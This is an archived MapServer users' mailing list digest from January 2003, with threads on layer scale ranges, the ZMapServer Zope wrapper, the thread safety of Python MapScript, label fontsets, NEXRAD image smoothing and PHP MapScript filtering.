NAME relief > > TILEINDEX index200.shp > > TILEITEM "dtk200" > > TYPE RASTER > > MAXSCALE 250000 > > STATUS DEFAULT > > END > > ... > > MapScript: > > my $layer = $map->getLayerByName('relief'); > > $layer->draw($map, $img); > > > > I expected Mapserver to interpret $map->{scale} and show > the appropriate > > map. My result: after zooming below 250000 my layer is empty. > > Each if the two layers are ok as a single layer and I've > checked the contents of > > $map->{scale} so that's not the problem. > > Is my whole assumption wrong? > > > > Thank you for your help. > > Agneta Schick > > > > > > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > ~~~~~~~~~~~~~~~ > > Agneta Schick > > > > Bundesanstalt fuer Geowissenschaften und Rohstoffe > > Federal Institute for Geosciences and Natural Resources > > Stilleweg 2 > > D- 30655 Hannover Tel.: +49 511 643 3136 > > GERMANY FAX.: +49 511 643 3663 > > > > schick at sdac.hannover.bgr.de > http://www.seismologie.bgr.de > > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > ~~~~~~~~~~~~~~~ > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > > -- > Dipl.-Geogr. Oliver Wesp > Gesellschaft f?r geografische Datenverarbeitung > Binger Strasse 49-51 > D-55218 Ingelheim > fon: +49 6132 714818 > fax: +49 6132 714828 > http: www.gdv.com > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Tue Jan 28 07:48:32 2003 From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca) Date: Tue, 28 Jan 2003 10:48:32 -0500 Subject: [Mapserver-users] For MapScript + Zope users, ZMapServer 0.3 Message-ID: <7CDD7B94357FD5119E800002A537C46E2305EA@s5-ccr-r1.ccrs.nrcan.gc.ca> Sean, As a Zope and MapServer user, this is great news to me, unfortunately I personally don't have time to play with this yet, and Pyton/MapScript isn't rock solid enough yet for my needs, but I hope this effort is well received, as it has a LOT of potential. In fact I recall telling Dave at DM this would be a fantastic way to do things :) I take it when an object is created, the MapFile is loaded into a MapScript MapObject, and this object is stored in Zope? (Since I see from the screen shots there is an "export" function, suggesting the product doesn't interact directly with a mapfile on the filesystem). Now all I need is a rock solid, fully thread safe, non memory leaking mapserver/python MapScript (Not that it leaks memory, I dunno, I'm just saying, I'm not feeling confident about loading python mapscript into a long running process just yet). But I'm definitely going to have to look at this ... If this can be properly integrated into the CMF, wow, You just solved a LOT of issues for us :) Cheers, J.F. -----Original Message----- From: Sean Gillies [mailto:sgillies at frii.com] Sent: Monday, January 27, 2003 6:09 PM To: Mapserver Users Subject: [Mapserver-users] For MapScript + Zope users, ZMapServer 0.3 Greetings, Those that downloaded the earlier release of ZMapServer and found it at all interesting will want to see the newest release. There are Zope wrappers for the layer and class objects and better methods for editing map, layer, and class properties through the Zope management interface. I've made the choice to build ZMapServer on the development MapServer (3.7) and have dropped support for 3.6. To complicate things a bit further, you'll either need to download and build the most recent MapScript (one new function in mapscript.i) from CVS or patch mapscript.i, adding the new method cleanPens(): extend mapObj { ... void cleanPens() { msClearPenValues(self); } ... The release, more info, and screenshots for those who haven't access to a ZServer are available at: http://www.frii.com/~sgillies/projects/zmapserver/ cheers, Sean -- Sean Gillies sgillies at frii.com http://www.frii.com/~sgillies _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From DMartin at erac.com Tue Jan 28 08:04:00 2003 From: DMartin at erac.com (Martin, Daniel) Date: Tue, 28 Jan 2003 10:04:00 -0600 Subject: [Mapserver-users] Suggestions Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035AADBD27@STL-EXBE-I03.corp.erac.com> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C2C6E6.DED2CCFC Content-Type: text/plain; charset="iso-8859-1" > > I am very new to mapserver, but have successfully installed > it, loaded the itasca demo, and gotten it to display a basic > interactive map of our city. (Win2K, IIS, IE5.5) > > To make my map file, I'm using Ross Searle's Arcview script. > However, I cannot seem to get a map to show up in his > javascript web page. It writes a plain white map each time. > Anyone gotten this to work in windows/IIS environments? In > the meantime, I'm cutting and pasting to the one from the > itasca demo to make my own maps (just for learning purposes so far). If itasca works, MapServer works. The issue is usually then in your .map file. I have the same OS, and web server - so I know that's not the problem. First I'd suggest looking at the image files MS created in your temp directory. Are they white too? I'm not familiar with Ross's script, but I had white maps when sending a PNG image to Rosa or Mapplet (before they supported PNG). But, I don't suspect you are using either. > > Since my first project with MapServer is an informative map > of our city, with police beats and maybe some crime stats, I > need to learn a bit more and am open to suggestions. > > 1. How do I get street names, beat labels, and so forth to show up? My quick and dirty directions for this is: 1. Create a folder in your MapServer folder called "fonts". 2. Drag all the fonts from C:\WINNT\FONTS into that folder. 3. Place the attached fontset.txt into that folder. 4. Add this to the highest level of your map file: FONTSET "..\fonts\fontset.txt" 5. This is a portion of an example TIGER street layer: LABELMAXSCALE 200000 LABELITEM "FENAME" CLASS NAME "Streets" COLOR 130 130 130 LABEL MINFEATURESIZE 20 MINDISTANCE 100 BUFFER 10 ANGLE auto POSITION auto TYPE TRUETYPE FONT arial_narrow SIZE 8 COLOR 0 0 0 OUTLINECOLOR 255 255 255 ANTIALIAS true END END > 2. Does mapserver do any address matching or GIS coordinate plotting? > It doesn't geocode addresses if that's what you mean. But that's not to say people don't integrate a geocoder with MS - they do. Not sure what you mean by GIS coordinate plotting. > When I have something worth publishing on the public server, > I'll post here and ask for some more feedback. Until then, > thanks in advance! > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > ------_=_NextPart_000_01C2C6E6.DED2CCFC Content-Type: text/plain; name="fontset.txt" Content-Disposition: attachment; filename="fontset.txt" 3o_f_9_barcode 3of9barcode1.ttf arial arial.ttf arial_black ariblk.ttf arial_black-italic arbli___.ttf arial-bold arialbd.ttf arial-bold-italic arialbi.ttf arial-italic ariali.ttf arial_narrow arialn.ttf arial_narrow-bold arialnb.ttf arial_narrow-bold-italic arialnbi.ttf arial_narrow-italic arialni.ttf arial_unicode_MS arialuni.ttf batang batang.ttf book_antiqua bkant.ttf book_antiqua-bold antquab.ttf book_antiqua-bold-italic antquabi.ttf book_antiqua-italic antquai.ttf bookman_old_style bookos.ttf bookman_old_style-bold bookosb.ttf bookman_old_style-bold-italic bookosbi.ttf bookman_old_style-italic bookosi.ttf century_gothic gothic.ttf century_gothic-bold gothicb.ttf century_gothic-bold-italic gothicbi.ttf century_gothic-italic gothici.ttf century_schoolbook schlbk.ttf century_schoolbook-bold schlbkb.ttf century_schoolbook-bold-italic schlbkbi.ttf century_schoolbook-italic schlbki.ttf comic_sans comic.ttf comic_sans-bold comicbd.ttf courier cour.ttf courier-bold courbd.ttf courier-bold-italic courbi.ttf courier-italic couri.ttf garamond gara.ttf garamond-bold garabd.ttf garamond-italic garait.ttf georgia georgia.ttf georgia-bold georgiab.ttf georgia-bold-italic georgiaz.ttf georgia-italic georgiai.ttf hatten hatten.ttf impact impact.ttf letter_gothic lc______.ttf letter_gothic-bold lcb_____.ttf letter_gothic-bold-italic lcbi____.ttf letter_gothic-italic lci_____.ttf lucida_console lucon.ttf lucida_sans_unicode l_10646.ttf ms_sans_serif micross.ttf monotype_corsova mtcorsva.ttf ms_outlook outlook.ttf palatino_linotype pala.ttf palatino_linotype-bold palab.ttf palatino_linotype-bold-italic palabi.ttf palatino_linotype-italic palai.ttf r_ansi r_ansi.ttf r_apl r_apl.ttf r_thai r_thai.ttf r_thai-bold r_thaibd.ttf r_thai-bold-italic r_thaibi.ttf r_thai-italic r_thaii.ttf sybol symbol.ttf tahoma tahoma.ttf tahoma-bold tahomabd.ttf times_new_roman times.ttf times_new_roman-bold timesbd.ttf times_new_roman-bold-italic timesbi.ttf times_new_roman-italic timesi.ttf times_new_roman_MT-extrabold timnreb.ttf trebuchet trebuc.ttf trebuchet-bold trebucbd.ttf trebuchet-bold-italic trebucbi.ttf trebuchet-italic trebucit.ttf verdana verdana.ttf verdana-bold verdanab.ttf verdana-bold-italic verdanaz.ttf verdana-italic verdanai.ttf webdings webdings.ttf webdings1 wingding.ttf webdings2 wingdng2.ttf webdings3 wingdng3.ttf ------_=_NextPart_000_01C2C6E6.DED2CCFC-- From akrherz at iastate.edu Tue Jan 28 08:42:15 2003 From: akrherz at iastate.edu (Daryl Herzmann) Date: Tue, 28 Jan 2003 10:42:15 -0600 (CST) Subject: [Mapserver-users] Smoothing NEXRAD imagery Message-ID: Hello all! Well, I was playing around today with my various mapserver applications and have a question that I hope someone can answer. I have been working on generating maps of current NEXRAD (Weather Service RARAR) imagery and overlaying observations. This is currently working great, except the pixelation that occurs at very close range. Does anyone know how to implement an automatic TIFF smoothing algorithm at close ranges? Here is a page with an example of what happens to the NEXRAD image at close ranges... The pixelation at 25km is not that bad and will probably be what I live with for the final app. http://db1.mesonet.agron.iastate.edu/GIS/apps/iem/ex.html The point in the center of these images is Ames, Iowa :) We are experiencing freezing rain at the moment. btw, in two weeks, the American Meteorological Society has its annual meeting. I will presenting the glories of mapserver at its first GIS session of the IIPS (Information Processing) conference. It should be lots of fun promoting open-source!! Thanks Daryl -- /** * Daryl Herzmann (akrherz at iastate.edu) * Program Assistant -- Iowa Environmental Mesonet * http://mesonet.agron.iastate.edu */ From sgillies at frii.com Tue Jan 28 08:48:05 2003 From: sgillies at frii.com (Sean Gillies) Date: Tue, 28 Jan 2003 09:48:05 -0700 Subject: [Mapserver-users] For MapScript + Zope users, ZMapServer 0.3 In-Reply-To: <7CDD7B94357FD5119E800002A537C46E2305EA@s5-ccr-r1.ccrs.nrcan.gc.ca> Message-ID: <4604B41C-32E0-11D7-ACC9-000393B98B56@frii.com> J.F., Your understanding of ZMapServer and mapObjs is correct. On the management side of Zope, users can make edits to a permanent mapObj which is stored in the Zope database. On the public side, applications interact with a temporary mapObj that is cloned from the permanent mapObj and stored in Zope session data. Instead of passing extents to a drawing method, one changes the extent of the session mapObj and then calls it's draw method. I'm not sure how well this will scale, but performance so far has been fine. What have been your issues with the Python MapScript? Mine have not been so much with threading, but with the way the SWIGged mapserver objects resist pickling, and lack of means for removing layers and classes from a mapObj. cheers, Sean On Tuesday, January 28, 2003, at 08:48 AM, Jean-Francois.Doyon at ccrs.nrcan.gc.ca wrote: > Sean, > > As a Zope and MapServer user, this is great news to me, unfortunately I > personally don't have time to play with this yet, and Pyton/MapScript > isn't > rock solid enough yet for my needs, but I hope this effort is well > received, > as it has a LOT of potential. > > In fact I recall telling Dave at DM this would be a fantastic way to do > things > :) > > I take it when an object is created, the MapFile is loaded into a > MapScript > MapObject, and this object is stored in Zope? (Since I see from the > screen > shots there is an "export" function, suggesting the product doesn't > interact > directly with a mapfile on the filesystem). > > Now all I need is a rock solid, fully thread safe, non memory leaking > mapserver/python MapScript (Not that it leaks memory, I dunno, I'm just > saying, I'm not feeling confident about loading python mapscript into > a long > running process just yet). > > But I'm definitely going to have to look at this ... If this can be > properly > integrated into the CMF, wow, You just solved a LOT of issues for us :) > > Cheers, > J.F. > > -----Original Message----- > From: Sean Gillies [mailto:sgillies at frii.com] > Sent: Monday, January 27, 2003 6:09 PM > To: Mapserver Users > Subject: [Mapserver-users] For MapScript + Zope users, ZMapServer 0.3 > > > Greetings, > > Those that downloaded the earlier release of ZMapServer and found > it at all interesting will want to see the newest release. There > are Zope wrappers for the layer and class objects and better > methods for editing map, layer, and class properties through the > Zope management interface. I've made the choice to build ZMapServer > on the development MapServer (3.7) and have dropped support for > 3.6. To complicate things a bit further, you'll either need to > download and build the most recent MapScript (one new function > in mapscript.i) from CVS or patch mapscript.i, adding the new method > cleanPens(): > > extend mapObj { > .... > void cleanPens() { > msClearPenValues(self); > } > .... > > The release, more info, and screenshots for those who haven't > access to a ZServer are available at: > http://www.frii.com/~sgillies/projects/zmapserver/ > > cheers, > Sean > > > -- > Sean Gillies > sgillies at frii.com > http://www.frii.com/~sgillies > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From Norman Tue Jan 28 09:00:15 2003 From: Norman (Norman) Date: Tue, 28 Jan 2003 12:00:15 -0500 Subject: [Mapserver-users] For MapScript + Zope users, ZMapServer 0.3 References: <7CDD7B94357FD5119E800002A537C46E2305EA@s5-ccr-r1.ccrs.nrcan.gc.ca> Message-ID: <0ba301c2c6ee$bcc83a30$3d36ba8c@sfdev3> Jean-Francois.Doyon writes: > > Now all I need is a rock solid, fully thread safe, non memory leaking > mapserver/python MapScript (Not that it leaks memory, I dunno, I'm just > saying, I'm not feeling confident about loading python mapscript into a long > running process just yet). OK you got my attention ... Have you any evidence that Python mapscript is not rock solid, fully thread safe or a memory waster ! FWIW - I don't see why Python mapscript would be any different then the Perl version in that they both are SWIGed and AFAICT SWIGed Python modules are 'quite robust' if the library they are wrapping is :-) Cheers Norman From sgillies at frii.com Tue Jan 28 09:10:19 2003 From: sgillies at frii.com (Sean Gillies) Date: Tue, 28 Jan 2003 10:10:19 -0700 Subject: [Mapserver-users] Smoothing NEXRAD imagery In-Reply-To: Message-ID: <60E560EE-32E3-11D7-ACC9-000393B98B56@frii.com> On Tuesday, January 28, 2003, at 09:42 AM, Daryl Herzmann wrote: > Hello all! > > Well, I was playing around today with my various mapserver applications > and have a question that I hope someone can answer. > > I have been working on generating maps of current NEXRAD (Weather > Service RARAR) imagery and overlaying observations. This is currently > working great, except the pixelation that occurs at very close range. > Does anyone know how to implement an automatic TIFF smoothing > algorithm at > close ranges? > > Here is a page with an example of what happens to the NEXRAD image at > close ranges... The pixelation at 25km is not that bad and will > probably > be what I live with for the final app. > > http://db1.mesonet.agron.iastate.edu/GIS/apps/iem/ex.html > > The point in the center of these images is Ames, Iowa :) We are > experiencing freezing rain at the moment. > > btw, in two weeks, the American Meteorological Society has its annual > meeting. I will presenting the glories of mapserver at its first GIS > session of the IIPS (Information Processing) conference. It should be > lots of fun promoting open-source!! > > Thanks > Daryl > > -- > /** > * Daryl Herzmann (akrherz at iastate.edu) > * Program Assistant -- Iowa Environmental Mesonet > * http://mesonet.agron.iastate.edu > */ Daryl, Looks great! I wouldn't sweat the pixelization. If your users are scientists or weather geeks, they'll want to see the real NEXRAD image without smoothing, yes? cheers, Sean -- Sean Gillies sgillies at frii.com http://www.frii.com/~sgillies From morissette at dmsolutions.ca Tue Jan 28 09:17:46 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 28 Jan 2003 12:17:46 -0500 Subject: [Mapserver-users] For MapScript + Zope users, ZMapServer 0.3 References: <7CDD7B94357FD5119E800002A537C46E2305EA@s5-ccr-r1.ccrs.nrcan.gc.ca> <0ba301c2c6ee$bcc83a30$3d36ba8c@sfdev3> Message-ID: <3E36BB3A.348CC064@dmsolutions.ca> Norman Vine wrote: > > Have you any evidence that Python mapscript is not rock solid, > fully thread safe or a memory waster ! > > FWIW - I don't see why Python mapscript would be any different > then the Perl version in that they both are SWIGed and AFAICT > SWIGed Python modules are 'quite robust' if the library they are > wrapping is :-) > I would tend to share JF's doubts on the thread-safety and memory leaking issues. Not just for Python MapScript, but for any flavor including the PHP version. Those doubts will go away once someone has time to audit all the code (including support libraries), make sure it is all thread-safe and that there is no memory leakage, but until then I would be hesitant to use it in a persistent module or even in FastCGI. I'm not saying that this is an impossible task, I'm just saying that some work needs to be done to make sure everything, including support libraries such as GD, etc. are clean of thread-safety issues and memory leaks. This work has started slowly but hasn't been completed yet. My 0.02$ Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From akrherz at iastate.edu Tue Jan 28 09:18:58 2003 From: akrherz at iastate.edu (Daryl Herzmann) Date: Tue, 28 Jan 2003 11:18:58 -0600 (CST) Subject: [Mapserver-users] Smoothing NEXRAD imagery In-Reply-To: <60E560EE-32E3-11D7-ACC9-000393B98B56@frii.com> Message-ID: Hi, On Tue, 28 Jan 2003, Sean Gillies wrote: >Daryl, > >Looks great! I wouldn't sweat the pixelization. If your users are >scientists or weather geeks, they'll want to see the real NEXRAD image >without smoothing, yes? Ahhh, you have answered your own question! Most of my users are general public, so a pretty image is absolutely key. When you watch your local newscast, do the TV mets show pixelated images at 'Street-level detail' NEXRAD? I am playing devils advocate here. As a scientist, I know the 'Street-level detail' is bogus, but I like pretty images too... No biggie here, just curious if smoothed images are possible! Daryl From keon at nacse.org Tue Jan 28 09:31:55 2003 From: keon at nacse.org (Dylan Keon) Date: Tue, 28 Jan 2003 09:31:55 -0800 Subject: [Mapserver-users] Best PostgreSQL/PostGIS for MS 3.7? Message-ID: <3E36BE8B.8020700@nacse.org> I see that the PostGIS CVS version supports PostgreSQL 7.3. I'm currently using MapServer 3.7. Do I gain anything extra by using PostgreSQL 7.3.x/PostGIS CVS? Or is it best to just go with PostgreSQL 7.2.3/PostGIS 0.7.3 for now? Thanks, Dylan From Norman Tue Jan 28 09:44:37 2003 From: Norman (Norman) Date: Tue, 28 Jan 2003 12:44:37 -0500 Subject: [Mapserver-users] For MapScript + Zope users, ZMapServer 0.3 References: <7CDD7B94357FD5119E800002A537C46E2305EA@s5-ccr-r1.ccrs.nrcan.gc.ca> <0ba301c2c6ee$bcc83a30$3d36ba8c@sfdev3> <3E36BB3A.348CC064@dmsolutions.ca> Message-ID: <0c2801c2c6f4$edfd1020$3d36ba8c@sfdev3> Daniel Morissette writes: > > Norman Vine wrote: > > > > Have you any evidence that Python mapscript is not rock solid, > > fully thread safe or a memory waster ! > > > > FWIW - I don't see why Python mapscript would be any different > > then the Perl version in that they both are SWIGed and AFAICT > > SWIGed Python modules are 'quite robust' if the library they are > > wrapping is :-) > > I would tend to share JF's doubts on the thread-safety and memory > leaking issues. Not just for Python MapScript, but for any flavor > including the PHP version. I must confess that I am playing a bit of the 'devil's advocate' here but what makes you suspect the 'script' version of mapserver Is this just conjecture or is there evidence of a problem ? If so, are we sure that this problem isn't exhibited by the 'C' version too ? can't-scare-a-bug-away-if-you-can't-see-it'ly yr's Norman From warmerdam at pobox.com Tue Jan 28 10:10:17 2003 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 28 Jan 2003 13:10:17 -0500 Subject: [Mapserver-users] Smoothing NEXRAD imagery In-Reply-To: References: Message-ID: <3E36C789.3070405@pobox.com> Daryl Herzmann wrote: > I have been working on generating maps of current NEXRAD (Weather > Service RARAR) imagery and overlaying observations. This is currently > working great, except the pixelation that occurs at very close range. > Does anyone know how to implement an automatic TIFF smoothing algorithm at > close ranges? > > Here is a page with an example of what happens to the NEXRAD image at > close ranges... The pixelation at 25km is not that bad and will probably > be what I live with for the final app. Daryl, If you are using MapServer 3.7 from CVS there is a LoadGDALImage() function in mapdrawgdal.c that is responsible for most imagery loads from GDAL. It would be relatively easy to add a processing option to the map file that would direct this function to load oversampled imagery with some sort of smoothing - nearest neighbour or cubic convolution for instance. If you are feeling ambitious go ahead and take a crack at it. The processing arguments are generic all your changes would be in this one function. The special case to watch for would be when src_xsize > dst_xsize or src_ysize > dst_ysize. Just modify the code to loading into a data array at the source resolution and resample appropriate into the output buffer. I could do this, but I have little time available. Of course if you wanted to pay I am sure someone would be happy to do it. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From r000t at adelphia.net Tue Jan 28 10:14:17 2003 From: r000t at adelphia.net (Jim Burnett) Date: Tue, 28 Jan 2003 13:14:17 -0500 Subject: [Mapserver-users] displaying certain shape with php-mapscript Message-ID: <008701c2c6f9$129a8cb0$9601a8c0@emasi.com> This is a multi-part message in MIME format. ------=_NextPart_000_0084_01C2C6CF.2994E930 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Currently I have code that will display a shape by a given field in the = shape file. What I would like to do now is display multiple polygons = together. Here is the code I have now.... Basically I am getting a polygon/shape where the block fielddata equals = 28. The thing is, is there are lile 174 shapes with that block number, = but it only display 1.=20 $mapObj->set("width",$img_width); $mapObj->set("height",$img_height); $layObj=3D$mapObj->getLayer($parcelLayer); $layObj->set( "filteritem", "BLOCK" ); $layObj->setFilter ("/28/"); $layObj->queryByAttributes($mapObj, 0); $numx =3D $layObj->getNumResults(); for($i=3D0; $i < $layObj->getNumResults(); $i++) { $result =3D $layObj->getResult($i) ; $layObj->open($mapObj->shapepath); $shapeObj =3D $layObj->getShape( $result->tileindex, = $result->shapeindex ); } $layerObj->set("status",1); $shapeExtObj =3D $shapeObj->bounds; $minx =3D $shapeExtObj->minx; $miny =3D $shapeExtObj->miny; $maxx =3D $shapeExtObj->maxx; $maxy =3D $shapeExtObj->maxy; $mapObj->setExtent( $minx, $miny, $maxx, $maxy); $img =3D $mapObj->draw(); ------=_NextPart_000_0084_01C2C6CF.2994E930 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Currently I have code that will display = a shape by=20 a given field in the shape file. What I would like to do now is display = multiple=20 polygons together.
Here is the code I have = now....
Basically I am getting a polygon/shape = where the=20 block fielddata equals 28. The thing is, is there are lile 174 shapes = with that=20 block number, but it only display 1.
 

$mapObj->set("width",$img_width);
$mapObj->set("height"= ,$img_height);
 
$layObj=3D$mapObj->getLayer($parcelLayer);
$layObj->set(=20 "filteritem", "BLOCK" );
$layObj->setFilter=20 ("/28/");
$layObj->queryByAttributes($mapObj, 0);
$numx =3D=20 $layObj->getNumResults();
for($i=3D0; $i < = $layObj->getNumResults();=20 $i++) {
 $result =3D $layObj->getResult($i) ;
 =20 $layObj->open($mapObj->shapepath);
   $shapeObj =3D=20 $layObj->getShape( $result->tileindex, $result->shapeindex=20 );
}
     $layerObj->set("status",1);
 
$shapeExtObj =3D $shapeObj->bounds;
$minx =3D=20 $shapeExtObj->minx;
$miny =3D $shapeExtObj->miny;
$maxx =3D=20 $shapeExtObj->maxx;
$maxy =3D=20 $shapeExtObj->maxy;
$mapObj->setExtent( $minx, $miny, $maxx,=20 $maxy);
$img =3D $mapObj->draw();
------=_NextPart_000_0084_01C2C6CF.2994E930-- From morissette at dmsolutions.ca Tue Jan 28 10:21:23 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 28 Jan 2003 13:21:23 -0500 Subject: [Mapserver-users] For MapScript + Zope users, ZMapServer 0.3 References: <7CDD7B94357FD5119E800002A537C46E2305EA@s5-ccr-r1.ccrs.nrcan.gc.ca> <0ba301c2c6ee$bcc83a30$3d36ba8c@sfdev3> <3E36BB3A.348CC064@dmsolutions.ca> <0c2801c2c6f4$edfd1020$3d36ba8c@sfdev3> Message-ID: <3E36CA23.F6DAEAE0@dmsolutions.ca> Norman Vine wrote: > > I must confess that I am playing a bit of the 'devil's advocate' here > but what makes you suspect the 'script' version of mapserver > (I'm a bit playing devil's advocate too, but for the other party) Memory leaks and thread-safety issues are a problem only for the script versions because the mapserv CGI creates a new process everytime which automagically cleans up after itself, etc. (The same is true for PHP MapScript when used with PHP in CGI mode) > Is this just conjecture or is there evidence of a problem ? > No, I don't have evidence of any major problem, but I don't have evidence that everything is fine either... hence my doubts. ;) I can easily imagine that things like static buffers used in some libs like GDAL/OGR and possibly others (GD, freetype 1.3?) could cause us some grief in a persistent module. > If so, are we sure that this problem isn't exhibited by the 'C' version > too ? > Of course if there are problems they would be in the C code as well, actually they would come from the C code. Better-safe-than-sorry'ly yours Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From rjames57 at yahoo.com Tue Jan 28 10:36:35 2003 From: rjames57 at yahoo.com (randy james) Date: Tue, 28 Jan 2003 10:36:35 -0800 (PST) Subject: [Mapserver-users] Raster geotiff turns background yellow In-Reply-To: <13858AA1A74F30419F319ACB66A9D1221F3BF0@mercator.topozone.com> Message-ID: <20030128183635.29222.qmail@web12502.mail.yahoo.com> --0-1188876956-1043778995=:29011 Content-Type: text/plain; charset=us-ascii Content-Id: Content-Disposition: inline Hi List Well i am still having the problem of a projected geotiff file changing the output of the mapserver cgi: the background turns yellow. I've tried importing and than exporting the image through GRASS tiff2bw to ensure the file is grayscale upgraded to the remotesensing site version of GDAL 1.1.7.1 from the Mandrake 8.2 version of 1.1.7. The geotiff image seems to be exactly like the ones that do not cause the problem. i am including a couple of files from the tmp directory, one where the background is yellow and one where it is not. does anyone know what next i should check? --- Ed McNierney wrote: > Randy - > > Is it possible for you to make the GeoTIFF > available? Thanks. > > - Ed > > Ed McNierney > President and Chief Mapmaker > TopoZone.com / Maps a la carte, Inc. > 73 Princeton Street, Suite 305 > North Chelmsford, MA 01863 > ed at topozone.com > (978) 251-4242 > > -----Original Message----- > From: randy james [mailto:rjames57 at yahoo.com] > Sent: Monday, January 27, 2003 12:35 PM > To: Mapserver Users > Subject: Re: [Mapserver-users] Raster geotiff turns > background yellow > > > Hi List > > I checked the geotiff file in the GIMP and it did > not > have any yellow in the image. But than i checked the > image created by Mapserver and it has the yellow > background on it. Soo i assume that the cgi is > creating the yellow. Also i noticed that the polygon > layer loaded before the geotiff has changed to the > grayscale color of the geotiff. > > I am sending the rendered imaged created by > mapserver > cgi for review. > > Cheers > Randy > > --- woodbri at swoodbridge.com wrote: > > Randy, > > > > I assume that the color change is taking place > when > > view in a > > browser? Have you tried to view it in an image > > viewer? > > > > Sometimes the browser pre allocates an bunch of > > colors and when you > > load the geotiff, it does not have enough slots in > > the color lookup > > table and has to assign the additional colors to > > existing ones. Some > > software is better at this than others, but it is > > typically the > > reason why your get the type of color change you > > described. > > > > -Steve W. > > > > On 24 Jan 2003 at 14:51, randy james wrote: > > > > > Hi list > > > > > > Has anyone experienced problems with a geotiff > > file > > > making the image background turn yellow? (or any > > > color) > > > > > > The orthophoto (geotiff) that causes the problem > > is my > > > fist attempt at projecting a raster on the fly. > I > > have > > > tried importing the ortho into GRASS and than > > > exporting it again, but it did not make a > > difference. > > > > > > The gdalinfo utility output is quite large for > the > > > ortho causing the problem, but once its exported > > from > > > GRASS it is the same as the orthos that work (i > > think) > > > > > > I'm wondering if its something to to with > > projecting a > > > raster or is it the file format. I will read > and > > try > > > the gdal_translate utility next i guess > > > > > > MapServer version 3.6.4 OUTPUT=PNG OUTPUT=JPEG > > > OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=TTF > > > SUPPORTS=WMS_SERVER INPUT EPPL7 INPUT=JPEG > > > INPUT=POSTGIS INPUT=GDAL INPUT=SHAPEFILE > > > > > > Cheers > > > Randy > > > > > > > > > > __________________________________________________ > > > Do you Yahoo!? > > > Yahoo! Mail Plus - Powerful. Affordable. Sign up > > now. > > > http://mailplus.yahoo.com > > > _______________________________________________ > > > Mapserver-users mailing list > > > Mapserver-users at lists.gis.umn.edu > > > > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > __________________________________________________ > Do you Yahoo!? > Yahoo! Mail Plus - Powerful. Affordable. Sign up > now. > http://mailplus.yahoo.com > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com --0-1188876956-1043778995=:29011 Content-Type: image/png; name="TER10437776948294.png" Content-Transfer-Encoding: base64 Content-Description: TER10437776948294.png Content-Disposition: inline; filename="TER10437776948294.png" iVBORw0KGgoAAAANSUhEUgAAAooAAAGQCAMAAAFpCIFIAAADAFBMVEX///8S DAAAAAD////CAOaA/P8A1v8A9fUA/wD/AAD/PAD//6j/AP8AAP8A5gD/QAD/ /wD/qADW/wABAQECAgIDAwMEBAQFBQUGBgYHBwcICAgJCQkKCgoLCwsMDAwN DQ0ODg4PDw8QEBARERESEhITExMUFBQVFRUWFhYXFxcYGBgZGRkaGhobGxsc HBwdHR0eHh4fHx8gICAhISEiIiIjIyMkJCQlJSUmJiYnJycoKCgpKSkqKior KyssLCwtLS0uLi4vLy8wMDAxMTEyMjIzMzM0NDQ1NTU2NjY3Nzc4ODg5OTk6 Ojo7Ozs8PDw9PT0+Pj4/Pz9AQEBBQUFCQkJDQ0NERERFRUVGRkZHR0dISEhJ SUlKSkpLS0tMTExNTU1OTk5PT09QUFBRUVFSUlJTU1NUVFRVVVVWVlZXV1dY WFhZWVlaWlpbW1tcXFxdXV1eXl5fX19gYGBhYWFiYmJjY2NkZGRlZWVmZmZn Z2doaGhpaWlqampra2tsbGxtbW1ubm5vb29wcHBxcXFycnJzc3N0dHR1dXV2 dnZ3d3d4eHh5eXl6enp7e3t8fHx9fX1+fn5/f3+AgICBgYGCgoKDg4OEhISF hYWGhoaHh4eIiIiJiYmKioqLi4uMjIyNjY2Ojo6Pj4+QkJCRkZGSkpKTk5OU lJSVlZWWlpaXl5eYmJiZmZmampqbm5ucnJydnZ2enp6fn5+goKChoaGioqKj o6OkpKSlpaWmpqanp6eoqKipqamqqqqrq6usrKytra2urq6vr6+wsLCxsbGy 